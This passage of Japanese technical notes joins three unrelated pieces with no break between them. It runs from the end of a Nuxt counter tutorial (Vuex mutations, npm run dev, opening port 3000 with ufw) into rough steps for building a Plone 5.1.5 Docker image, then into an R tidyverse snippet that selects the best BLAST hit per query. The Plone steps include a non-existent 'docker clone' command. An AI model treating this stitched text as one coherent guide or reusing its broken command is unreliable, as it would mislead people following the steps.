    state.count += 1
  },
  subtract (state) {
    state.count -= 1
  },
  clear (state) {
    state.count = 0
  }
}
```

7) サーバーの起動

```bash
npm run dev
```

8) ブラウザーで　http://ekzemplaro.org:3000 にアクセス
>ボタンをクリックすれば、カウンターの値が変わります。

![nuxt_01.png](https://qiita-image-store.s3.amazonaws.com/0/179446/03de549b-1ab1-3fc6-7432-31c710eaf6f8.png)

ufw を使っている時は次のようにして、ポートを開けます。

```bash
sudo ufw allow 3000
```
plone.docker run 5.1.5

docker clone https://github.com/plone/plone.docker.git
cd plone.docker/5.1/5.1.5/alpine
docker build -t plone.docker:5.1.5 .
docker run -p 8080:8080 plone.docker:5.1.5
http://0.0.0.0:8080/

alpine は軽量linux
https://qiita.com/asakaguchi/items/484ba262965ef3823f61 

docker images

```bash
REPOSITORY            TAG                 IMAGE ID            CREATED             SIZE
plone.docker          5.1.5               fee5d0dc0e4a        6 minutes ago       363MB
```
重複keyがあるデータから最小・最大値を含む行をtidyverseで選び出す

メモ程度のものです.基礎的だけど、よく忘れるので。

#課題
Blastでは、同一queryに対して複数hitするのが通常。その中から、E-valueが最小のhitをそれぞれのqueryに対して取り出したいという時がある。

#解決法
queryでgroup_by()してから、filter()で取り出す。filterの条件をmin()で指定すればOK

-outfmt 6で出力したblast結果ファイルを前提とすると、以下でできる。

```R:tophit.R

library(tidyverse)


#ファイル読み込み
blast_out<-
read_tsv("blast.out.fmt6.txt", col_names = c(
"qseqid",
"sseqid",
"pident",
"length",
"mismatch",
"gapopen",
"qstart",
"qend",
"sstart",
"send",
"evalue",
"bitscore"
))

blast_out_tophit<-
blast_out %>%
  group_by(qseqid) %>% #クエリでグルーピングする
  filter(evalue==min(evalue))%>% #evalueが最小のものと同じ行を取り出す（evalueが最小の行を取り出す）
  filter(bitscore==max(bitscore)) %>%　#bitscoreが最大のものと同じ行を取り出す（bitscoreが最大の行を取り出す）
  filter(pident>80)
```

こんな感じ